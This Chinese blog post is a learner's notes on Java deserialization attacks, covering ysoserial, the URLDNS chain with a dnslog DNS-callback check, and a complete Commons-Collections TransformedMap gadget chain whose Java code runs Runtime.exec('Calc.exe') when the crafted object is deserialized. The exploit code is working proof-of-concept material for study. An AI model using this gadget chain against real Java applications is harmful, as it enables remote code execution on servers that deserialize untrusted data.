0
点赞
收藏
分享

微信扫一扫

JAVA反序列化漏洞——URLDNS链&CC链学习

一、反序列化安全问题的产生

序列化及反序列化的场景在程序开发中经常会用到,比如通过浏览器上传文件到应用,如果JAVA应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意数据输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。因此我们首先需要构造恶意数据,常用的工具是Ysoserial,下载链接:​​https://github.com/frohoff/ysoserial​​

Ysoserial是一个集合了各种反序列化payload的工具集,可以让用户选择利用链(gadget chains)生成反序列化利用数据,然后再把这些数据发送给目标,目标再反序列化这些数据,从而执行用户预先定义的命令。即,Ysoserial替我们完成了特定恶意数据的制作,在idea中可以看一下相关的利用链:JAVA反序列化漏洞——URLDNS链&CC链学习_Commons-Collections链

该工具集成了各种利用链,比如URLDNS链、CommonsCollections等,由于具体的原理还有些没有琢磨清楚,因此这里就不写原理分析了,记录一下工具的使用过程,在文中列出了参考到的链接。

二、URLDNS链

这条链简单来讲就是让目标根据DNS域名去进行DNS解析,URLDNS链的特点:使用java内置的类构造,对第三方库没有依赖,并且在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞。这里使用dnslog平台进行测评 ,首先在dnslog平台获取一个域名,然后再使用工具生成序列化的数据,使用方法:JAVA反序列化漏洞——URLDNS链&CC链学习_URLDNS_02

可以看到E盘生成了已经序列化好的数据,使用notepad++打开,注意使用16进制模式,内容如下:JAVA反序列化漏洞——URLDNS链&CC链学习_java安全_03

现在假设有如下的程序,该程序去对上面生成的序列化文件进行反序列化处理:

package com.serialize.test;

import java.io.FileInputStream;
import
java.io.IOException;
import
java.io.ObjectInputStream;

public class
urlDnsTest {
   
public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream =
new ObjectInputStream(new FileInputStream("E:/urldns.txt"));
       
Object oj = objectInputStream.readObject();
       
System.
out.println(oj);
   
}
}

运行程序后在dnslog平台上查看结果:

JAVA反序列化漏洞——URLDNS链&CC链学习_反序列化_04

可以看到平台收到了DNS请求,这就是URLDNS链的使用,具体的原理分析:​​https://mp.weixin.qq.com/s/UkG7bhj_dWk2c-VLB8Nokg​​

三、Commons-Collections链

Apache Commons-Collections是一个扩展了Java标准库里面的Collections结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons-Collections被广泛用于各种Java应用的开发。Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebShpere、Jenkins等知名大型Java应用都使用了这个库。

TransformedMap

TransformedMap用于对Java标准数据结构MAP进行修饰,被修饰过的MAP在添加新元素时,将可以执行一个回调。如下通过这行代码对InnerMap进行修饰,传出的outerMap就是修饰后的Map

Map outerMap = TransformedMap.decorate(innerMap,keyTransformer,valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。这里的“回调”并不是传统意义上的一个回调函数,而一个实现了Transformer接口的类。

Org.apache.commons.collections.Transformer是一个接口,从代码上看它只有一个待实现的方法:

JAVA反序列化漏洞——URLDNS链&CC链学习_Commons-Collections链_05

这个接口有几个重要的实现类:

ConstantTransformer.transform()方法:返回传入的类,源码如下:

JAVA反序列化漏洞——URLDNS链&CC链学习_java_06

InvokerTransformer.transform()方法:通过反射机制执行传入的函数,源码如下:

JAVA反序列化漏洞——URLDNS链&CC链学习_URLDNS_07

ChainedTransformer.transform()方法:将指定的转换器连接在一起的转化器实现,输入的对象将被传入到第一个转化器,转换结果将会输入到第二个转化器,并且以此类推。

sun.reflect.annotation.AnnotationInvocationHandler类:该类的构造函数包含两个参数,第一个参数必须是Annotation类的子类,并且其中必须包含有一个方法,假设方法名是X;被TransformedMap.decorate修饰的MAP中必须有一个键名为X的元素。

下面是完整的Transform链及关键说明:

package com.serialize.test;

import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;



import java.io.*;

import java.lang.annotation.Retention;

import java.lang.reflect.Constructor;

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.InvocationTargetException;

import java.util.HashMap;

import java.util.Map;

// JDK 1.8.0.271 复现不了,JDK1.8.0.77可以复现

public class CCTransformedMap {

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod",

new Class[] {String.class,Class[].class},

new Object[] {"getRuntime",new Class[0] }),

new InvokerTransformer("invoke",

new Class[]{Object.class,Object[].class},

new Object[]{null,new Object[0]}),

new InvokerTransformer("exec",

new Class[]{String.class},

new String[]{"Calc.exe"}),

};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();

// Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);

// outerMap.put("test","xxxx"); //手动调用 put方法

//由于将构造的恶意类handler需要使用AnnotationInvocationHandler的构造函数,其第一个参数为Retention.class,且其中有一个方法为value(),因此这里将value作为key存入MAP中。
innerMap.put("value","xxxx");



Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);

construct.setAccessible(true);

//生成恶意对象的类

Object handler = (InvocationHandler)construct.newInstance(Retention.class,outerMap);



//使用ByteArrayOutputStream在内存中创建一个字节数组缓冲区,所有发送到输出流的数据保存在该字节数组缓冲区中

ByteArrayOutputStream barr = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(barr);

oos.writeObject(handler);

oos.close();



// System.out.println(barr);

//从字节缓冲区中读出数据,这里进行反序列化操作,从而触发漏洞

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));

Object o = (Object)ois.readObject();

}

}

 四、总结

      这篇就这样吧,由于对原理掌握不透,因此就简单写了如何使用URLDNS链以及Commons-Collections链。

 

 

 

 

举报

相关推荐

0 条评论